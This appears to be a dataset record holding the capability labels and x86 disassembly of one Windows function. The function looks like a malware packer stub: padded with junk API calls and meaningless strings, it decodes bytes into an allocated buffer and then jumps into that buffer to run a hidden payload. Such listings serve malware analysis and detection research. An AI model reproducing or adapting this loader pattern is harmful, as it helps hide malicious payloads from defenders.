Function at 0x401394
Capabilities:
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.0040b440
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x4013d9
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
cmp edi, 0x207142
jg 0x4013ea
inc edi
cmp edi, 0x67d12
jl 0x4013a8
cmp dword [0x245923c], 0x93
jne 0x40148f
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov edi, dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
lea eax, [ebp - 0xc20]
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemW]
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push str.tekexuzih
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
call dword [sym.imp.GDI32.dll_GetTextCharset]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
call fcn.00402445
pop ecx
push esi
push esi
call fcn.00402474
push esi
call fcn.0040232b
add esp, 0xc
add dword [0x245923c], 0x1134b
push dword [0x245923c]
mov eax, dword [0x443c1c]
push esi
mov dword [0x245a078], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x2458cc8], eax
call fcn.0040131a
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call ebx
dec edi
jne 0x4014bf
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
cmp dword [0x245923c], esi
jbe 0x40154e
mov eax, dword [0x245a078]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2458cc8]
mov byte [ecx + edi], al
cmp dword [0x245923c], 0x490
jne 0x401545
push esi
lea eax, [ebp - 4]
push eax
call ebx
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_TransparentBlt]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
inc edi
cmp edi, dword [0x245923c]
jb 0x4014e1
xor edi, edi
mov eax, dword [0x245923c]
add eax, edi
cmp eax, 0x8d
jne 0x401590
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push str.gofokodaxunemulahusipuxocimowojowolaginegexodejimacigexuzerojidemewodazerocucosenunoroposugira
push str.janokasefuxusotov
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x401550
call fcn.0040123c
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x4015be
mov dword [ebp - 4], esi
add dword [ebp - 4], 0xf116
mov eax, dword [ebp - 4]
add dword [0x2458cc8], eax
inc edi
cmp edi, 0x674bd
jl 0x4015a0
push 0x7b
pop edi
cmp dword [0x245923c], 0x86
jne 0x401627
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
lea eax, [ebp - 0x820]
push eax
push str.ponuju
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push esi
lea eax, [ebp - 0x1020]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x245923c], 0xf
jne 0x401637
push esi
lea eax, [ebp - 8]
push eax
call ebx
dec edi
jne 0x4015ca
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2458cc8]
pop edi
pop esi
pop ebx
leave
ret